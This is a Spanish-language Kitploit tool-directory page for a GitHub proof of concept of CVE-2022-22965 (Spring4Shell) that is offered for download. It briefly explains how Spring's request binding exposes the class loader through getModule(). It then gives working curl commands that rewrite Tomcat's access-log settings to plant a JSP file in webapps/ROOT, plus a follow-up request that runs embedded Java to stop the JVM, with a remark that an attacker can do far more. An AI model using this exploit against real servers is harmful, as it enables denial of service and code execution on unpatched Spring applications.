Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2022-22965 | Kitploit
Herramientas/GitHubGitHub/mwojterski/cve-2022-22965
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmwojterski/cve-2022-22965

cve-2022-22965

Ver Repositorio
hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejemplo mínimo de CVE-2022-22965

Al momento de escribir esto, el enlace de parámetros de solicitud de spring-web (WebDataBinder), por defecto, permite acceder al método getClass() del objeto. Esto es un detalle de implementación interno y específico de la JVM (en mi humilde opinión no debería estar expuesto). Como tal, sus características pueden cambiar y ampliarse con futuras versiones de la JVM. Eso supone una carga constante para los mantenedores, que intentan predecir formas creativas en las que los actores maliciosos podrían aprovechar ese potente acceso con fines nefastos.

En este CVE en particular, la causa fue el método Class::getModule() introducido en Java 9. Abrió un acceso sin protección a un class-loader.

En el ejemplo siguiente, el atacante lo usa para reconfigurar el registrador de accesos de Tomcat. Normalmente escribe información breve sobre cada solicitud recibida por el servidor en un archivo de registro. La propiedad pattern define qué información se escribe, directory dónde debe colocarse el archivo de registro, y prefix, fileDateFormat y suffix cómo debería ser el nombre del archivo.

La siguiente solicitud apuntará a un endpoint POST de nuestra aplicación vulnerable poc-0. Reconfigura el registrador para que escriba una línea <%{e}iSystem.exit(0);%{e}i> por cada solicitud gestionada, en un archivo f.jsp dentro de un directorio webapps/ROOT, donde %{e}i es un marcador de posición para un valor de la cabecera e de la solicitud.

Este es un uso inesperado/creativo del registrador, y el resto es un servidor de aplicaciones JSP y Tomcat estándar en acción.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

Después de un momento, se creará un archivo f.jsp, que Tomcat recogerá, compilará y expondrá para servir el tráfico. La siguiente solicitud lo invoca, lo que ejecutará un código System.exit(0); incrustado y detendrá la JVM en la que se ejecuta.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

Este es un ejemplo de DoS, pero System.exit(0); es código Java normal, por lo que el atacante puede hacer mucho más.

Descargar herramienta